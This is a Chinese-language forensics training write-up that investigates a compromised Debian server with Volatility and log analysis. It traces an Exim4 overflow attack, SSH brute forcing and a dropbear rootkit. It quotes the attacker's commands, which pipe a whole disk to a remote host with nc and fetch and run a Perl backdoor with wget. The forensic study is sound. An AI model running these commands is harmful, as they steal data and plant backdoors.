任提供了三个文件
Compromised Server--取证训练
都解压开来
Compromised Server--取证训练
图中这三个img格式的镜像文件就是我们需要分析的重点

首先安装volatility,待会儿会用到
Compromised Server--取证训练
查看帮助信息
Compromised Server--取证训练
说明可以使用了

  1. 什么服务以及那个账户触发了警报
    将镜像挂载到mnt
    Compromised Server--取证训练
    查看日志
    Compromised Server--取证训练
    将结果往下拉,可以看到大量的无效登录
    Compromised Server--取证训练
    可以分析出ssh服务被暴力攻击,攻击者攻击的账户名是ulysses

  2. 在目标服务器上运行着哪种操作系统?(包括OS,CPU等信息)
    输入下图命令
    Compromised Server--取证训练
    可以看出是debian发行版5.0
    然后去查看dmesg
    Compromised Server--取证训练
    结果如下
    Compromised Server--取证训练
    可以看到具体的版本信息,系统内核版本2.6.26
    Compromised Server--取证训练
    内存信息
    Compromised Server--取证训练
    缓存信息等

在使用volatility进行分析前,我们必须指定相应的file,由前面得出的linux发行版的信息,我们使用网上公开分享的proifle,本次需要使用debian5.0的
将下载得到的profile放在指定目录volatility/plugins/overlays/linux

Compromised Server--取证训练
运行volatility,看看是否正确加载我们添加的profile
Compromised Server--取证训练
第一行就是我们添加的
现在回到我们的实验中,第二个问题还没结束,我们可以使用进一步查看CPU的相关信息
Compromised Server--取证训练

3.目标服务器上哪些进程正在运行
Compromised Server--取证训练
查看导出的文件

Compromised Server--取证训练
3. 攻击者的ip和目标主机的ip
分析这个问题可以从日志入手
我们回到前面挂载的镜像
Compromised Server--取证训练
查看maillog
Compromised Server--取证训练Compromised Server--取证训练

再查看rejectlog
Compromised Server--取证训练Compromised Server--取证训练

mail log和reject日志显示攻击者在192.168.56.1和192.168.56.101处发送的邮件。
再查看authlog

Compromised Server--取证训练Compromised Server--取证训练
auth.log还显示攻击者在192.168.56.1上多次尝试ssh登录。

另外在使用volatility分析连接时,我们输入下图的命令

Compromised Server--取证训练Compromised Server--取证训练
可以看到目标主机ip 192.168.56.102和攻击主机 192.168.56.1在4444和8888端口建立了连接

5.什么服务被攻击了
从前面exim4的mainlog日志就可以看到攻击者发送的电子邮件数据太大并且似乎包含一些恶意命令,如调用服务器192.168.56.1来下载文件c.pl和rk.tar等
可见,被攻击的服务是exim4

6.对于目标服务器发动的是什么攻击
通过搜索引擎查询可以判断出是关于Exim4的缓冲区溢出攻击,CVE-2010-4344
详情可参考
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4344
7.攻击者有哪些收获?
按照/root/.bash_history中观察到的历史记录

Compromised Server--取证训练Compromised Server--取证训练
很明显攻击者通过下面提到的命令发送了驱动器sda1的整个副本
dd if=/dev/sda1 | nc 192.168.56.1 4444
8.攻击者下载了哪些文件,并分析
还是由上面的分析可以知道攻击者已经下载了两个文件c.pl和rk.tar,两个文件都在/ tmp中找到。
Compromised Server--取证训练
对c.pl的简单分析表明,它是一个perl脚本,用于创建一个c程序,该程序编译后提供一个支持SUID的可执行文件并打开一个后门并向攻击者传输信息。
Compromised Server--取证训练
攻击者下载c.pl并且编译的SUID在端口4444中打开到192.168.56.1的连接,
wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl 192.168.56.1 4444
换种方式,使用volatility也可以得出这一结论
Compromised Server--取证训练
rk.tar是一个压缩形式的dropbear rootkit。 解压缩文件夹包含以下内容
Compromised Server--取证训练
进入解压后的文件夹
Compromised Server--取证训练
看一下shell脚本
Compromised Server--取证训练
是典型的用于监听端口和正在被设置的家目录的变量文件
再看看install.sh
Compromised Server--取证训练
install.sh创建vars.sh中指定的rkhome目录。 它将自己添加到要启动的所有init文件中,并在端口44965中作为后门shell启动dropbear。
Compromised Server--取证训练
iptables -I OUTPUT 1 -p tcp --dport 45295 -j DROP,显示攻击者试图打开防火墙接受入站连接,但iptables的语法显示他已经删除了所有出站连接。 它应该是入站并接受45295的连接。

9.请列出网络连接及相应的状态(listen、established、close)
Established :
Compromised Server--取证训练
Listen
Compromised Server--取证训练
Close
Compromised Server--取证训练

相关文章: